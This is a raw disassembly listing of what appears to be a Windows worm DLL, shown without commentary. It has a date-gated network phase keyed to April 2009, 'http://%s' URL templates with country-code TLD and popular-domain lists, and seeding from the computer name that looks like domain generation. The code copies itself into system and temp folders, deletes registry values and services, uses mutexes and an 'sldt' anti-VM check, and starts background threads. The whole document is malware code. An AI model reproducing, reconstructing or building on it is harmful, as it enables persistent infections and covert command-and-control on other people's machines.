aCn		db 'cn',0               ; DATA XREF: .text:009B85D4o
		align 4
aCl		db 'cl',0               ; DATA XREF: .text:009B85D0o
		align 4
aCh		db 'ch',0               ; DATA XREF: .text:009B85CCo
		align 10h
aCd		db 'cd',0               ; DATA XREF: .text:009B85C8o
		align 4
aCa		db 'ca',0               ; DATA XREF: .text:009B85C4o
		align 4
aBz		db 'bz',0               ; DATA XREF: .text:009B85C0o
		align 4
aBo		db 'bo',0               ; DATA XREF: .text:009B85BCo
		align 10h
aBe		db 'be',0               ; DATA XREF: .text:009B85B8o
		align 4
aAt		db 'at',0               ; DATA XREF: .text:009B85B4o
		align 4
aAs		db 'as',0               ; DATA XREF: .text:009B85B0o
		align 4
aAm		db 'am',0               ; DATA XREF: .text:009B85ACo
		align 10h
aAg		db 'ag',0               ; DATA XREF: .text:009B85A8o
		align 4
aAe		db 'ae',0               ; DATA XREF: .text:009B85A4o
		align 4
aAc		db 'ac',0               ; DATA XREF: .text:009B85A0o
		align 4
aDec		db 'Dec',0              ; DATA XREF: .text:009B859Co
aNov		db 'Nov',0              ; DATA XREF: .text:009B8598o
aOct		db 'Oct',0              ; DATA XREF: .text:009B8594o
aSep		db 'Sep',0              ; DATA XREF: .text:009B8590o
aAug		db 'Aug',0              ; DATA XREF: .text:009B858Co
aJul		db 'Jul',0              ; DATA XREF: .text:009B8588o
aJun		db 'Jun',0              ; DATA XREF: .text:009B8584o
aMay		db 'May',0              ; DATA XREF: .text:009B8580o
aApr		db 'Apr',0              ; DATA XREF: .text:009B857Co
aMar		db 'Mar',0              ; DATA XREF: .text:009B8578o
aFeb		db 'Feb',0              ; DATA XREF: .text:009B8574o
aJan		db 'Jan',0              ; DATA XREF: .text:009B8570o
aRapidshare_com	db 'rapidshare.com',0   ; DATA XREF: .text:009B856Co
		align 4
aImageshack_us	db 'imageshack.us',0    ; DATA XREF: .text:009B8568o
		align 4
aFacebook_com	db 'facebook.com',0     ; DATA XREF: .text:009B8564o
		align 4
aW3_org		db 'w3.org',0           ; DATA XREF: .text:009B8560o
		align 4
aAsk_com	db 'ask.com',0          ; DATA XREF: .text:009B855Co
aYahoo_com	db 'yahoo.com',0        ; DATA XREF: .text:009B8558o
		align 4
aGoogle_com	db 'google.com',0       ; DATA XREF: .text:009B8554o
		align 4
aBaidu_com	db 'baidu.com',0        ; DATA XREF: .text:off_9B8550o
		align 10h
; char Delim[]
Delim		db ', ',0               ; DATA XREF: sub_9A82C5+5Ao
		align 4
; char aHttpWww_S[]
aHttpWww_S	db 'http://www.%s',0    ; DATA XREF: sub_9A83C7+36o
		align 8
dbl_9A3508	dq 9.46270391e-1	; DATA XREF: sub_9A84A9+A6r
; char aHttpS[]
aHttpS		db 'http://%s',0        ; DATA XREF: sub_9A857A+24Fo
		align 4
; char a_[]
a_		db '.',0                ; DATA XREF: sub_9A857A+101o
		align 10h
stru_9A3520	_msEH <0FFFFFFFFh, offset loc_9A885B, offset loc_9A885F>
					; DATA XREF: sub_9A857A+5o
		align 10h
		dd offset loc_9A8803
; ---------------------------------------------------------------------------
		pop	es
		mov	[edx-100h], bl
		push	dword ptr [edi-44FF6578h]
		mov	[edx+0], bl
		add	[eax-7EDBDA31h], ah ; DATA XREF: sub_9A8FF3+B6o
		retn	7311h
; ---------------------------------------------------------------------------
		dd 34AAC8E7h, 64322864h, 0EF68B7C1h, 0B60450E9h, 8D9F06F1h
		dd 0E8FB2390h, 0A691E5BFh, 0DD2E76CBh, 2C30BC41h, 0CD0D63Bh
		dd 23058F8Ah, 1F8CCF68h, 88E3775Dh, 54E5ED5Bh, 0A6D6031h
		dd 4AD12AAEh, 88222E0Dh, 3E7F16BBh, 3FB50C2Ch, 8AF8671Dh
		dd 8BD25C31h, 995AD117h, 4C4B633h, 0C878C1DDh, 7A1552ACh
		dd 3B72066Ch, 631EFFCBh, 0D6F3522h, 89ABCDEFh, 1234567h
		dd 2425CFA0h, 7311C281h
; char szProvider[]
szProvider	db 'Microsoft Base Cryptographic Provider v1.0',0
					; DATA XREF: sub_9AA577+4Bo
		align 10h
stru_9A3600	_msEH <0FFFFFFFFh, offset loc_9AAAAD, offset loc_9AAAB1>
					; DATA XREF: sub_9AAAC1-2Fo
		dd 5 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A3620	proc near		; CODE XREF: sub_9A3C63+13Ap

Source		= byte ptr -108h
var_4		= dword	ptr -4
Count		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	104h		; nSize
		lea	eax, [ebp+Source]
		push	eax		; lpFilename
		push	0		; hModule
		mov	byte ptr [esi],	0
		call	GetModuleFileNameA
		test	eax, eax
		jz	short loc_9A36C0
		lea	eax, [ebp+Source]
		push	5Ch		; Ch
		push	eax		; Str
		call	strrchr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A366B
		lea	eax, [ebp+Source]
		jmp	short loc_9A366C
; ---------------------------------------------------------------------------


loc_9A366B:				; CODE XREF: sub_9A3620+41j
		inc	eax


loc_9A366C:				; CODE XREF: sub_9A3620+49j
		push	ebx
		push	edi
		mov	edi, [ebp+Count]
		push	edi		; Count
		push	eax		; Source
		push	esi		; Dest
		call	strncpy
		lea	edi, [esi+edi-1]
		push	esi		; Str
		mov	byte ptr [edi],	0
		call	strlen
		add	esp, 10h
		cmp	eax, 4
		mov	ebx, offset Str2 ; "("
		jb	short loc_9A36AD
		push	ebx		; Str2
		push	esi		; Str
		call	strlen
		pop	ecx
		lea	eax, [eax+esi-4]
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A36BE


loc_9A36AD:				; CODE XREF: sub_9A3620+72j
		push	[ebp+Count]	; Count
		push	ebx		; Source
		push	esi		; Dest
		call	strncat
		add	esp, 0Ch
		mov	byte ptr [edi],	0


loc_9A36BE:				; CODE XREF: sub_9A3620+8Bj
		pop	edi
		pop	ebx


loc_9A36C0:				; CODE XREF: sub_9A3620+2Cj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		leave
		retn
sub_9A3620	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A36CC	proc near		; CODE XREF: sub_9A3C63+183p
		push	esi
		push	edi
		push	offset Srch	; lpSrch
		xor	edi, edi
		call	sub_9A66EF
		test	eax, eax
		pop	ecx
		mov	esi, offset FileName ; "c:\\abcdefgh.dll"
		jz	short loc_9A36F1
		push	esi		; lpBuffer
		push	eax		; dwProcessId
		call	sub_9A642B
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A370D


loc_9A36F1:				; CODE XREF: sub_9A36CC+16j
		push	offset aT	; "t"
		call	sub_9A638D
		test	eax, eax
		pop	ecx
		jz	short loc_9A3710
		push	esi		; lpBuffer
		push	eax		; dwProcessId
		call	sub_9A642B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A3710


loc_9A370D:				; CODE XREF: sub_9A36CC+23j
		xor	edi, edi
		inc	edi


loc_9A3710:				; CODE XREF: sub_9A36CC+32j
					; sub_9A36CC+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_9A36CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0A4h


sub_9A3715	proc near		; CODE XREF: sub_9A387C+2Fp
					; sub_9A387C+73p ...

var_1D8		= dword	ptr -1D8h
hMem		= dword	ptr -124h
nNumberOfBytesToWrite= dword ptr -120h
var_11C		= dword	ptr -11Ch
FileName	= byte ptr -118h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-0A4h]
		sub	esp, 124h
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+0A4h+var_4], eax
		mov	eax, dword_9BB1DC
		push	esi
		xor	eax, 0C7BD45E1h
		push	edi
		push	eax		; Seed
		mov	esi, ecx
		call	srand
		call	rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+0A4h+var_14]
		add	edx, 5
		push	edx
		push	eax
		call	sub_9A5E65
		call	sub_9A5D1A
		lea	eax, [ebp+0A4h+var_14]
		push	eax
		push	esi
		push	offset nullsub_11 ; Format
		lea	eax, [ebp+0A4h+FileName]
		push	104h		; Count
		push	eax		; Dest
		call	_snprintf
		xor	ebx, ebx
		push	ebx		; int
		mov	edi, 1F01FFh
		lea	eax, [ebp+0A4h+FileName]
		push	edi		; int
		push	eax		; Str
		mov	[ebp+0A4h+var_15], bl
		call	sub_9A68CA
		add	esp, 2Ch
		lea	eax, [ebp+0A4h+FileName]
		push	eax		; lpFileName
		call	DeleteFileA
		push	ebx		; int
		push	1200A9h		; int
		mov	esi, offset FileName ; "c:\\abcdefgh.dll"
		push	esi		; Str
		mov	[ebp+0A4h+var_11C], ebx
		call	sub_9A68CA
		add	esp, 0Ch
		lea	eax, [ebp+0A4h+FileName]
		push	eax		; lpNewFileName
		push	esi		; lpExistingFileName
		call	MoveFileA
		test	eax, eax
		jnz	short loc_9A3824
		lea	eax, [ebp+0A4h+nNumberOfBytesToWrite]
		push	esi		; lpFileName
		push	eax		; int
		mov	[ebp+0A4h+nNumberOfBytesToWrite], ebx
		call	sub_9A5FCF
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+0A4h+hMem], eax
		jz	short loc_9A3861
		cmp	[ebp+0A4h+nNumberOfBytesToWrite], ebx
		jz	short loc_9A3819
		lea	ecx, [ebp+0A4h+FileName]
		push	ecx		; lpFileName
		push	[ebp+0A4h+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
		push	eax		; lpBuffer
		call	sub_9A6056
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A3819
		push	ebx		; int
		push	edi		; int
		push	esi		; Str
		mov	[ebp+0A4h+var_11C], 1
		call	sub_9A68CA
		add	esp, 0Ch
		push	4		; dwFlags
		push	ebx		; lpNewFileName
		push	esi		; lpExistingFileName
		call	MoveFileExA


loc_9A3819:				; CODE XREF: sub_9A3715+D2j
					; sub_9A3715+E6j
		push	[ebp+0A4h+hMem]	; hMem
		call	GlobalFree
		jmp	short loc_9A3838
; ---------------------------------------------------------------------------


loc_9A3824:				; CODE XREF: sub_9A3715+B7j
		lea	eax, [ebp+0A4h+FileName]
		push	0FFFFFFFFh	; hFile
		push	eax		; int
		mov	[ebp+0A4h+var_11C], 1
		call	sub_9A5EC7
		pop	ecx
		pop	ecx


loc_9A3838:				; CODE XREF: sub_9A3715+10Dj
		cmp	[ebp+0A4h+var_11C], ebx
		jz	short loc_9A3861
		lea	eax, [ebp+0A4h+FileName]
		push	eax		; Str
		call	sub_9A7E0F
		lea	eax, [ebp+0A4h+FileName]
		mov	[esp+134h+var_1D8], 104h
		push	eax		; Source
		push	esi		; Dest
		call	strncpy
		add	esp, 0Ch
		mov	byte_9BB1DB, bl


loc_9A3861:				; CODE XREF: sub_9A3715+CDj
					; sub_9A3715+126j
		mov	ecx, [ebp+0A4h+var_4]
		mov	eax, [ebp+0A4h+var_11C]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 0A4h
		leave
		retn
sub_9A3715	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=88h


sub_9A387C	proc near		; CODE XREF: StartAddress+7Bp

Buffer		= byte ptr -108h
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-88h]
		sub	esp, 108h
		mov	eax, dword_9B8788
		push	edi
		xor	eax, ebp
		mov	[ebp+88h+var_4], eax
		mov	edi, 104h
		push	edi		; uSize
		lea	eax, [ebp+88h+Buffer]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		lea	ecx, [ebp+88h+Buffer]
		call	sub_9A3715
		test	eax, eax
		jnz	short loc_9A3923
		push	ebx
		push	esi
		mov	esi, SHGetSpecialFolderPathA
		xor	ebx, ebx
		push	ebx		; fCreate
		push	26h		; csidl
		lea	eax, [ebp+88h+Buffer]
		push	eax		; pszPath
		push	ebx		; hwnd
		call	esi ; SHGetSpecialFolderPathA
		push	edi		; Count
		call	rand
		and	eax, 3
		push	Source[eax*4]	; Source
		lea	eax, [ebp+88h+Buffer]
		push	eax		; Dest
		call	strncat
		add	esp, 0Ch
		lea	ecx, [ebp+88h+Buffer]
		mov	[ebp+88h+var_5], bl
		call	sub_9A3715
		test	eax, eax
		jnz	short loc_9A3921
		push	ebx		; fCreate
		push	1Ah		; csidl
		lea	eax, [ebp+88h+Buffer]
		push	eax		; pszPath
		push	ebx		; hwnd
		call	esi ; SHGetSpecialFolderPathA
		lea	ecx, [ebp+88h+Buffer]
		call	sub_9A3715
		test	eax, eax
		jnz	short loc_9A3921
		lea	eax, [ebp+88h+Buffer]
		push	eax		; lpBuffer
		push	edi		; nBufferLength
		call	GetTempPathA
		lea	ecx, [ebp+88h+Buffer]
		call	sub_9A3715


loc_9A3921:				; CODE XREF: sub_9A387C+7Aj
					; sub_9A387C+90j
		pop	esi
		pop	ebx


loc_9A3923:				; CODE XREF: sub_9A387C+36j
		mov	ecx, [ebp+88h+var_4]
		xor	ecx, ebp
		pop	edi
		call	sub_9AAAC1
		add	ebp, 88h
		leave
		retn
sub_9A387C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; DWORD	__stdcall sub_9A3939(LPVOID)

sub_9A3939	proc near		; CODE XREF: sub_9A3939+10j
					; DATA XREF: sub_9A39CF+82o
		call	sub_9A4074
		push	3E8h		; dwMilliseconds
		call	Sleep
		jmp	short sub_9A3939
sub_9A3939	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A394B	proc near		; CODE XREF: StartAddress+76p

pszValue	= byte ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_9B8788
		push	esi
		push	edi
		push	0		; int
		push	0		; int
		xor	eax, ebp
		push	1		; int
		mov	[ebp+var_4], eax
		push	offset dword_9A13E4 ; lpValueName
		call	sub_9A471B
		mov	eax, dword_9BB1DC
		xor	eax, 0B30AA17Bh
		push	eax		; Seed
		call	srand
		call	rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+pszValue]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E65
		add	esp, 1Ch
		call	sub_9A5D1A
		mov	esi, SHDeleteValueA
		lea	eax, [ebp+pszValue]
		push	eax		; pszValue
		mov	edi, offset pszSubKey ;	"P"
		push	edi		; pszSubKey
		push	80000002h	; hkey
		call	esi ; SHDeleteValueA
		lea	eax, [ebp+pszValue]
		push	eax		; pszValue
		push	edi		; pszSubKey
		push	80000001h	; hkey
		call	esi ; SHDeleteValueA
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		leave
		retn
sub_9A394B	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A39CF	proc near		; CODE XREF: StartAddress+9Fp

var_C		= dword	ptr -0Ch
ThreadId	= dword	ptr -4

		push	ecx
		push	esi
		push	offset dword_9A1570 ; lpServiceName
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1564
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1558
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1550
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1548
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1540
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A152C
		push	offset pszSubKey ; "P"
		mov	esi, 80000002h
		push	esi		; hkey
		call	SHDeleteValueA
		push	offset dword_9A1450 ; pszSubKey
		push	esi		; hkey
		call	sub_9A7156
		push	offset dword_9A13F8 ; pszSubKey
		push	esi		; hkey
		call	sub_9A7156
		add	esp, 10h
		lea	eax, [esp+8+ThreadId]
		push	eax		; lpThreadId
		xor	eax, eax
		push	eax		; dwCreationFlags
		push	eax		; lpParameter
		push	offset sub_9A3939 ; lpStartAddress
		push	eax		; dwStackSize
		push	eax		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		pop	esi
		pop	ecx
		retn
sub_9A39CF	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A3A68(LPCSTR	Str)

sub_9A3A68	proc near		; CODE XREF: StartAddress+99p

Str		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi		; int
		push	1200A9h		; int
		push	[esp+18h+Str]	; Str
		call	sub_9A68CA
		mov	ebx, CreateFileA
		add	esp, 0Ch
		push	edi		; hTemplateFile
		push	edi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	edi		; lpSecurityAttributes
		push	2		; dwShareMode
		mov	ebp, 80000000h
		push	ebp		; dwDesiredAccess
		push	[esp+28h+Str]	; lpFileName
		call	ebx ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_9A3AB5
		push	edi		; hTemplateFile
		push	edi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	edi		; lpSecurityAttributes
		push	3		; dwShareMode
		push	ebp		; dwDesiredAccess
		push	[esp+28h+Str]	; lpFileName
		call	ebx ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A3AC8


loc_9A3AB5:				; CODE XREF: sub_9A3A68+36j
		push	edi		; nNumberOfBytesToLockHigh
		push	edi		; lpFileSizeHigh
		push	esi		; hFile
		call	GetFileSize
		push	eax		; nNumberOfBytesToLockLow
		push	edi		; dwFileOffsetHigh
		push	edi		; dwFileOffsetLow
		push	esi		; hFile
		call	LockFile


loc_9A3AC8:				; CODE XREF: sub_9A3A68+4Bj
		call	sub_9A7054
		test	eax, eax
		jnz	short loc_9A3AE0
		push	edi		; int
		push	20h		; int
		push	[esp+18h+Str]	; Str
		call	sub_9A68CA
		add	esp, 0Ch


loc_9A3AE0:				; CODE XREF: sub_9A3A68+67j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_9A3A68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=12Ch

; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; DATA XREF: sub_9A3C63+24Ao

SystemTime	= _SYSTEMTIME ptr -1ACh
var_19C		= dword	ptr -19Ch
dwFlags		= dword	ptr -198h
WSAData		= WSAData ptr -194h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-12Ch]
		sub	esp, 1ACh
		mov	eax, dword_9B8788
		push	ebx
		push	esi
		push	edi
		xor	eax, ebp
		push	8003h		; uMode
		mov	[ebp+12Ch+var_4], eax
		call	SetErrorMode
		sldt	ax
		test	ax, ax
		mov	edi, Sleep
		jz	short loc_9A3B20
		push	0FFFFFFFFh	; dwMilliseconds
		call	edi ; Sleep


loc_9A3B20:				; CODE XREF: StartAddress+35j
		call	sub_9A5D1A
		mov	esi, offset FileName ; "c:\\abcdefgh.dll"
		push	esi		; Str
		call	strlen
		cmp	eax, 9
		pop	ecx
		jbe	short loc_9A3B56
		push	offset asc_9A1318 ; "H"
		push	esi		; Str
		call	strlen
		pop	ecx
		mov	ecx, esi
		sub	ecx, 4
		add	eax, ecx
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A3B65


loc_9A3B56:				; CODE XREF: StartAddress+4Fj
		call	sub_9A5C69
		call	sub_9A394B
		call	sub_9A387C


loc_9A3B65:				; CODE XREF: StartAddress+6Fj
		call	GetVersion
		cmp	ax, 5
		jnz	short loc_9A3B78
		call	sub_9A5C35
		jmp	short loc_9A3B7D
; ---------------------------------------------------------------------------


loc_9A3B78:				; CODE XREF: StartAddress+8Aj
		call	sub_9A5C01


loc_9A3B7D:				; CODE XREF: StartAddress+91j
		push	esi		; Str
		call	sub_9A3A68
		pop	ecx
		call	sub_9A39CF
		lea	eax, [ebp+12Ch+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	WSAStartup
		mov	esi, rand
		call	esi ; rand
		push	1Eh
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 5
		imul	edx, 0EA60h
		push	edx		; dwMilliseconds
		call	edi ; Sleep
		and	[ebp+12Ch+var_19C], 0
		push	63h
		call	sub_9B2118
		test	eax, eax
		jz	short loc_9A3BC9
		call	sub_9B1584
		mov	[ebp+12Ch+var_19C], eax


loc_9A3BC9:				; CODE XREF: StartAddress+DAj
		mov	ebx, GetLocalTime
		lea	eax, [ebp+12Ch+SystemTime]
		push	eax		; lpSystemTime
		call	ebx ; GetLocalTime
		cmp	[ebp+12Ch+SystemTime.wHour], 7
		jb	short loc_9A3BEA
		cmp	[ebp+12Ch+SystemTime.wHour], 0Bh
		mov	[ebp+12Ch+dwFlags], 2A30h
		jbe	short loc_9A3BF1


loc_9A3BEA:				; CODE XREF: StartAddress+F5j
		mov	[ebp+12Ch+dwFlags], 0E10h


loc_9A3BF1:				; CODE XREF: StartAddress+103j
		call	esi ; rand
		cdq
		idiv	[ebp+12Ch+dwFlags]
		add	edx, 708h
		imul	edx, 3E8h
		push	edx		; dwMilliseconds


loc_9A3C04:				; CODE XREF: StartAddress+175j
					; StartAddress+17Cj
		call	edi ; Sleep
		xor	esi, esi
		push	esi		; dwReserved
		lea	eax, [ebp+12Ch+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	short loc_9A3C5C
		lea	eax, [ebp+12Ch+SystemTime]
		push	eax		; lpSystemTime
		call	ebx ; GetLocalTime
		cmp	[ebp+12Ch+SystemTime.wYear], 7D9h
		ja	short loc_9A3C37
		jnz	short loc_9A3C4D
		cmp	[ebp+12Ch+SystemTime.wMonth], 4
		ja	short loc_9A3C37
		jnz	short loc_9A3C4D
		cmp	[ebp+12Ch+SystemTime.wDay], 1
		jb	short loc_9A3C4D


loc_9A3C37:				; CODE XREF: StartAddress+13Ej
					; StartAddress+147j
		cmp	[ebp+12Ch+var_19C], 0
		jz	short loc_9A3C46
		call	sub_9B36E8
		test	eax, eax
		jnz	short loc_9A3C4D


loc_9A3C46:				; CODE XREF: StartAddress+156j
		call	sub_9A857A
		mov	esi, eax


loc_9A3C4D:				; CODE XREF: StartAddress+140j
					; StartAddress+149j ...
		imul	esi, 0F731400h
		add	esi, 5265C00h
		push	esi
		jmp	short loc_9A3C04
; ---------------------------------------------------------------------------


loc_9A3C5C:				; CODE XREF: StartAddress+130j
		push	0EA60h
		jmp	short loc_9A3C04
StartAddress	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=198h

; int __fastcall sub_9A3C63(HMODULE hModule)

sub_9A3C63	proc near		; CODE XREF: DllMain(x,x,x)+BCp

var_3C0		= dword	ptr -3C0h
hObject		= dword	ptr -218h
ThreadId	= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
Name		= byte ptr -208h
var_109		= byte ptr -109h
Str1		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-198h]
		sub	esp, 218h
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		push	esi
		push	edi
		mov	[ebp+198h+var_4], eax
		mov	edi, ecx
		call	sub_9A67C6
		call	sub_9A5B2E
		mov	esi, 104h
		push	esi		; nSize
		push	offset FileName	; "c:\\abcdefgh.dll"
		push	edi		; hModule
		call	GetModuleFileNameA
		push	1		; int
		push	offset Name	; "²\""
		mov	byte_9BB1DB, 0
		call	sub_9A5DFA
		pop	ecx
		pop	ecx
		lea	eax, [ebp+198h+ThreadId]
		push	eax		; nSize
		lea	eax, [ebp+198h+Str1]
		push	eax		; lpBuffer
		mov	[ebp+198h+ThreadId], esi
		mov	[ebp+198h+Str1], 0
		call	GetComputerNameA
		lea	eax, [ebp+198h+Str1]
		push	eax		; Str
		call	strlen
		push	eax
		lea	eax, [ebp+198h+Str1]
		push	eax
		call	sub_9A9FAE
		mov	dword_9BB1DC, eax
		xor	eax, 18A94C39h
		push	eax		; Seed
		call	srand
		call	rand
		push	3
		pop	ecx
		cdq
		idiv	ecx
		add	edx, 6
		push	edx
		push	offset aNmqflzhf ; "nmqflzhf"
		call	sub_9A5E65
		call	sub_9A5D1A
		push	dword_9BB1DC
		mov	edi, _snprintf
		push	offset Format	; "x\""
		lea	eax, [ebp+198h+Name]
		push	100h		; Count
		push	eax		; Dest
		call	edi ; _snprintf
		mov	ebx, CreateMutexA
		add	esp, 28h
		lea	eax, [ebp+198h+Name]
		push	eax		; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		mov	[ebp+198h+var_109], 0
		call	ebx ; CreateMutexA
		push	63h
		push	dword_9BB1DC
		lea	eax, [ebp+198h+Name]
		push	offset a0	; "0\""
		push	100h		; Count
		push	eax		; Dest
		call	edi ; _snprintf
		add	esp, 14h
		lea	eax, [ebp+198h+Name]
		push	eax		; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		mov	[ebp+198h+var_109], 0
		call	ebx ; CreateMutexA
		mov	[ebp+198h+hObject], eax
		call	GetLastError
		mov	[ebp+198h+var_20C], eax
		call	sub_9A6A91
		mov	edi, eax
		call	GetCommandLineA
		push	esi		; lpFirst
		lea	esi, [ebp+198h+Str1]
		mov	[ebp+198h+var_210], eax
		call	sub_9A3620
		mov	eax, esi
		mov	esi, _stricmp
		mov	[esp+228h+var_3C0], offset dword_9A15B4
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		mov	ebx, StrStrIA
		pop	ecx
		pop	ecx
		jnz	short loc_9A3E02
		push	offset aNmqflzhf ; "nmqflzhf"
		push	[ebp+198h+var_210]
		call	ebx ; StrStrIA
		test	eax, eax
		jz	short loc_9A3E02
		cmp	[ebp+198h+var_20C], 0B7h
		jz	short loc_9A3DFA
		cmp	[ebp+198h+var_20C], 5
		jz	short loc_9A3DFA
		push	[ebp+198h+hObject] ; hObject
		call	CloseHandle
		call	sub_9A36CC
		test	eax, eax
		jz	short loc_9A3DFA
		push	0BB8h		; dwMilliseconds
		call	Sleep


loc_9A3DFA:				; CODE XREF: sub_9A3C63+172j
					; sub_9A3C63+178j ...
		push	0		; uExitCode
		call	ExitProcess
; ---------------------------------------------------------------------------


loc_9A3E02:				; CODE XREF: sub_9A3C63+15Bj
					; sub_9A3C63+169j
		test	edi, edi
		jz	short loc_9A3E6E
		call	GetVersion
		cmp	ax, 5
		jnz	short loc_9A3E32
		lea	eax, [ebp+198h+Str1]
		push	offset aServ	; "servÈ!"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A3E32
		call	sub_9A5B0F
		call	sub_9A5BCD
		jmp	short loc_9A3E6E
; ---------------------------------------------------------------------------


loc_9A3E32:				; CODE XREF: sub_9A3C63+1ADj
					; sub_9A3C63+1C1j
		lea	eax, [ebp+198h+Str1]
		push	offset aJ	; "†!"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A3E6E
		push	offset dword_9A158C
		push	[ebp+198h+var_210]
		call	ebx ; StrStrIA
		test	eax, eax
		jz	short loc_9A3E5B
		call	sub_9A5B0F
		jmp	short loc_9A3E6E
; ---------------------------------------------------------------------------


loc_9A3E5B:				; CODE XREF: sub_9A3C63+1EFj
		push	offset dword_9A1578
		push	[ebp+198h+var_210]
		call	ebx ; StrStrIA
		test	eax, eax
		jz	short loc_9A3E6E
		call	sub_9A5B4D


loc_9A3E6E:				; CODE XREF: sub_9A3C63+1A1j
					; sub_9A3C63+1CDj ...
		lea	eax, [ebp+198h+Str1]
		push	offset aJ	; "†!"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A3E96
		lea	eax, [ebp+198h+Str1]
		push	offset aT	; "t"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A3EC1


loc_9A3E96:				; CODE XREF: sub_9A3C63+21Dj
		cmp	[ebp+198h+var_20C], 0B7h
		jz	short loc_9A3EC1
		cmp	[ebp+198h+var_20C], 5
		jz	short loc_9A3EC1
		lea	eax, [ebp+198h+ThreadId]
		push	eax		; lpThreadId
		xor	eax, eax
		push	eax		; dwCreationFlags
		push	eax		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	eax		; dwStackSize
		push	eax		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle


loc_9A3EC1:				; CODE XREF: sub_9A3C63+231j
					; sub_9A3C63+23Aj ...
		mov	ecx, [ebp+198h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 198h
		leave
		retn
sub_9A3C63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)

_DllMain@12	proc near		; CODE XREF: start+4Bp

Name		= byte ptr -18h
var_4		= dword	ptr -4
hinstDLL	= dword	ptr  8
fdwReason	= dword	ptr  0Ch
hModule		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		cmp	[ebp+fdwReason], 1
		push	esi
